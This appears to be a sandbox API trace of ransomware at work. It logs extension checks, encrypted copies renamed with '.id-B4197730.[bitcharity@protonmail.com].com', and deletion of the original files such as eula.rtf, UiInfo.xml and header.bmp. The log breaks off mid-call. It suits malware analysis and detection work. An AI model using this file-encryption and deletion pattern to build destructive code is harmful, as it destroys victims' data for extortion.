lstrlenW (lpString=".dbf") returned 4 [0137.037] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.038] lstrlenW (lpString=".1cd") returned 4 [0137.038] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.038] lstrlenW (lpString=".jpg") returned 4 [0137.038] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.038] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0137.038] lstrlenW (lpString="eula.rtf") returned 8 [0137.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.087] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=6309) returned 1 [0137.088] CloseHandle (hObject=0x10b0) returned 1 [0137.088] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0137.088] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0137.090] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.090] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0137.095] GetLastError () returned 0x0 [0137.095] ReadFile (in: hFile=0x1088, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0137.521] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0137.522] ReadFile (in: hFile=0x1088, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.522] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0137.522] SetEndOfFile (hFile=0x1038) returned 1 [0137.523] CloseHandle (hObject=0x1038) returned 1 [0137.529] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.529] SetEndOfFile (hFile=0x1088) returned 1 [0137.530] CloseHandle (hObject=0x1088) returned 1 [0137.530] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.530] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0137.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.531] lstrlenW (lpString=".doc") returned 4 [0137.531] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.531] lstrlenW (lpString=".docx") returned 5 [0137.531] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.531] lstrlenW (lpString=".pdf") returned 4 [0137.531] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.531] lstrlenW (lpString=".xls") returned 4 [0137.531] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.531] lstrlenW (lpString=".xlsx") returned 5 [0137.531] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.531] lstrlenW (lpString=".ppt") returned 4 [0137.531] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.531] lstrlenW (lpString=".zip") returned 4 [0137.532] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.532] lstrlenW (lpString=".rar") returned 4 [0137.532] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.532] lstrlenW (lpString=".bz2") returned 4 [0137.532] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.532] lstrlenW (lpString=".7z") returned 3 [0137.532] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.532] lstrlenW (lpString=".dbf") returned 4 [0137.532] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.532] lstrlenW (lpString=".1cd") returned 4 [0137.532] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.532] lstrlenW (lpString=".jpg") returned 4 [0137.532] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.533] lstrlenW (lpString=".doc") returned 4 [0137.533] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString=".docx") returned 5 [0137.533] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.533] lstrlenW (lpString=".pdf") returned 4 [0137.533] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString=".xls") returned 4 [0137.533] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.533] lstrlenW (lpString=".xlsx") returned 5 [0137.533] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.533] lstrlenW (lpString=".ppt") returned 4 [0137.533] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.533] lstrlenW (lpString=".zip") returned 4 [0137.533] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.533] lstrlenW (lpString=".rar") returned 4 [0137.533] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString=".bz2") returned 4 [0137.533] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.533] lstrlenW (lpString=".7z") returned 3 [0137.533] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.533] lstrlenW (lpString=".dbf") returned 4 [0137.533] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.534] lstrlenW (lpString=".1cd") returned 4 [0137.534] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0137.534] lstrlenW (lpString=".jpg") returned 4 [0137.534] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.534] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.534] lstrlenW (lpString="UiInfo.xml") returned 10 [0137.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0137.534] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=39050) returned 1 [0137.534] CloseHandle (hObject=0x1088) returned 1 [0137.535] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0137.535] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.535] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0137.535] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.535] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.535] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0137.538] GetLastError () returned 0x0 [0137.538] ReadFile (in: hFile=0x1088, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x988a, lpOverlapped=0x0) returned 1 [0137.576] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x9890, lpOverlapped=0x0) returned 1 [0137.577] ReadFile (in: hFile=0x1088, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.577] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe8, lpOverlapped=0x0) returned 1 [0137.577] SetEndOfFile (hFile=0x1038) returned 1 [0137.578] CloseHandle (hObject=0x1038) returned 1 [0137.582] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.582] SetEndOfFile (hFile=0x1088) returned 1 [0137.583] CloseHandle (hObject=0x1088) returned 1 [0137.584] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.584] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0137.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.585] lstrlenW (lpString=".doc") returned 4 [0137.585] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.585] lstrlenW (lpString=".docx") returned 5 [0137.585] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.585] lstrlenW (lpString=".pdf") returned 4 [0137.585] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString=".xls") returned 4 [0137.586] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString=".xlsx") returned 5 [0137.586] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.586] lstrlenW (lpString=".ppt") returned 4 [0137.586] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.586] lstrlenW (lpString=".zip") returned 4 [0137.586] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.586] lstrlenW (lpString=".rar") returned 4 [0137.586] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString=".bz2") returned 4 [0137.586] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString=".7z") returned 3 [0137.586] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.586] lstrlenW (lpString=".dbf") returned 4 [0137.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.586] lstrlenW (lpString=".1cd") returned 4 [0137.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.587] lstrlenW (lpString=".jpg") returned 4 [0137.587] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.587] lstrlenW (lpString=".doc") returned 4 [0137.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.587] lstrlenW (lpString=".docx") returned 5 [0137.587] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.587] lstrlenW (lpString=".pdf") returned 4 [0137.587] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.587] lstrlenW (lpString=".xls") returned 4 [0137.587] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.587] lstrlenW (lpString=".xlsx") returned 5 [0137.587] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.587] lstrlenW (lpString=".ppt") returned 4 [0137.587] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.588] lstrlenW (lpString=".zip") returned 4 [0137.588] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.588] lstrlenW (lpString=".rar") returned 4 [0137.588] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.588] lstrlenW (lpString=".bz2") returned 4 [0137.588] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.588] lstrlenW (lpString=".7z") returned 3 [0137.588] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.588] lstrlenW (lpString=".dbf") returned 4 [0137.588] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.588] lstrlenW (lpString=".1cd") returned 4 [0137.588] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0137.588] lstrlenW (lpString=".jpg") returned 4 [0137.589] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.589] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0137.589] lstrlenW (lpString="header.bmp") returned 10 [0137.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0137.867] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3628) returned 1 [0137.867] CloseHandle (hObject=0x10a8) returned 1 [0137.867] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0137.867] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0137.867] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.867] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0137.868] GetLastError () returned 0x0 [0137.868] ReadFile (in: hFile=0x10a8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xe2c, lpOverlapped=0x0) returned 1 [0138.080] WriteFile (in: hFile=0x1088, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe30, lpOverlapped=0x0) returned 1 [0138.081] ReadFile (in: hFile=0x10a8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.081] WriteFile (in: hFile=0x1088, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe8, lpOverlapped=0x0) returned 1 [0138.081] SetEndOfFile (hFile=0x1088) returned 1 [0138.082] CloseHandle (hObject=0x1088) returned 1 [0138.089] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.089] SetEndOfFile (hFile=0x10a8) returned 1 [0138.090] CloseHandle (hObject=0x10a8) returned 1 [0138.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.091] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0138.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.091] lstrlenW (lpString=".doc") returned 4 [0138.091] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.091] lstrlenW (lpString=".docx") returned 5 [0138.091] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0138.091] lstrlenW (lpString=".pdf") returned 4 [0138.091] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.091] lstrlenW (lpString=".xls") returned 4 [0138.091] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.091] lstrlenW (lpString=".xlsx") returned 5 [0138.091] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0138.091] lstrlenW (lpString=".ppt") returned 4 [0138.091] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.091] lstrlenW (lpString=".zip") returned 4 [0138.091] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.091] lstrlenW (lpString=".rar") returned 4 [0138.092] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString=".bz2") returned 4 [0138.092] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString=".7z") returned 3 [0138.092] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.092] lstrlenW (lpString=".dbf") returned 4 [0138.092] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.092] lstrlenW (lpString=".1cd") returned 4 [0138.092] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.092] lstrlenW (lpString=".jpg") returned 4 [0138.092] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.092] lstrlenW (lpString=".doc") returned 4 [0138.092] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString=".docx") returned 5 [0138.092] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0138.092] lstrlenW (lpString=".pdf") returned 4 [0138.092] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString=".xls") returned 4 [0138.092] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.092] lstrlenW (lpString=".xlsx") returned 5 [0138.092] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0138.092] lstrlenW (lpString=".ppt") returned 4 [0138.093] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.093] lstrlenW (lpString=".zip") returned 4 [0138.093] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.093] lstrlenW (lpString=".rar") returned 4 [0138.093] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.093] lstrlenW (lpString=".bz2") returned 4 [0138.093] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.093] lstrlenW (lpString=".7z") returned 3 [0138.093] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.093] lstrlenW (lpString=".dbf") returned 4 [0138.093] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.093] lstrlenW (lpString=".1cd") returned 4 [0138.093] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0138.093] lstrlenW (lpString=".jpg") returned 4 [0138.095] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.095] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.095] lstrlenW (lpString="Strings.xml") returned 11 [0138.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0138.095] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=14084) returned 1 [0138.095] CloseHandle (hObject=0x10a8) returned 1 [0138.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0138.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0138.096] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.096] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0138.096] GetLastError () returned 0x0 [0138.096] ReadFile (in: hFile=0x10a8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x3704, lpOverlapped=0x0) returned 1 [0138.220] WriteFile (in: hFile=0x1088, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x3710, 